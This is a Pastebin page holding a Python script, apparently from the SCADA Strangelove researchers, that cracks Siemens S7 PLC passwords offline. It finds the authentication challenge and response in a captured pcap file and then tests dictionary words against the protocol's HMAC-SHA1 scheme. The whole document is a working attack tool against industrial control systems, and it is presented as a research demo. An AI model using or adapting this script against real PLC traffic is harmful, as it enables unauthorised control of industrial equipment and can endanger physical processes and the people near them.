daily pastebin goal
7%
SHARE
TWEET

s7-brute-offline.py

scadastrangelove Jan 16th, 2013 8,892 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. """
  2. File: s7-brute-offline.py
  3. Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
  4.  
  5. Alexander Timorin, Dmitry Sklyarov
  6. http://scadastrangelove.org
  7.  
  8. Version: 0.1 (just for demo, don't kick my ass plz)
  9. """
  10.  
  11. import sys
  12. import hashlib
  13. import hmac
  14. from binascii import hexlify
  15. try:
  16.     from scapy.all import *
  17. except ImportError:
  18.     print "please install scapy: http://www.secdev.org/projects/scapy/ "
  19.     sys.exit()
  20.  
  21.  
  22. cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap'
  23. cfg_dictionary_file = 'dict.txt'
  24.  
  25. def get_challenge_response():
  26.     r = rdpcap(cfg_pcap_file)
  27.  
  28.     lens = map(lambda x: x.len, r)
  29.     pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])
  30.  
  31.     # try to find challenge packet
  32.     pckt_108 = 0 #challenge packet (from server)
  33.     for (pckt_indx, pckt_len) in pckt_lens.items():
  34.         if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':
  35.             pckt_108 = pckt_indx
  36.             break
  37.  
  38.     # try to find response packet
  39.     pckt_141 = 0 #response packet (from client)
  40.     _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
  41.     for pckt_indx in sorted(_t1.keys()):
  42.         pckt_len = _t1[pckt_indx]
  43.         if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':
  44.             pckt_141 = pckt_indx
  45.             break
  46.  
  47.     # try to find auth result packet
  48.     pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
  49.     pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
  50.     for pckt_indx in sorted(_t1.keys()):
  51.         pckt_len = _t1[pckt_indx]
  52.         if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':
  53.             pckt_84 = pckt_indx
  54.             break
  55.         if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':
  56.             pckt_92 = pckt_indx
  57.             break
  58.  
  59.     print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
  60.     if pckt_84:
  61.         print "auth ok"
  62.     else:
  63.         print "auth bad. for brute we need right auth result. exit"
  64.         sys.exit()
  65.  
  66.     challenge = None
  67.     response = None
  68.  
  69.     raw_challenge = hexlify(r[pckt_108].load)
  70.     if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':
  71.         challenge = raw_challenge[52:92]
  72.         print "found challenge: %s" % challenge
  73.     else:
  74.         print "cannot find challenge. exit"
  75.         sys.exit()
  76.  
  77.     raw_response = hexlify(r[pckt_141].load)
  78.     if raw_response[64:70] == '100214' and raw_response[110:112] == '00':
  79.         response = raw_response[70:110]
  80.         print "found  response: %s" % response
  81.     else:
  82.         print "cannot find response. exit"
  83.         sys.exit()
  84.  
  85.     return challenge, response
  86.  
  87. def calculate_s7response(password, challenge):
  88.     challenge = challenge.decode("hex")
  89.     return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()
  90.  
  91. if __name__ == '__main__':
  92.     print "using pcap file: %s" % cfg_pcap_file
  93.     challenge, response = get_challenge_response()
  94.     print "start password bruteforsing  ..."
  95.     for p in open(cfg_dictionary_file):
  96.         p = p.strip()
  97.         if response == calculate_s7response(p, challenge):
  98.             print "found password: %s" % p
  99.             sys.exit()
  100.     print "password not found. try another dictionary."
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top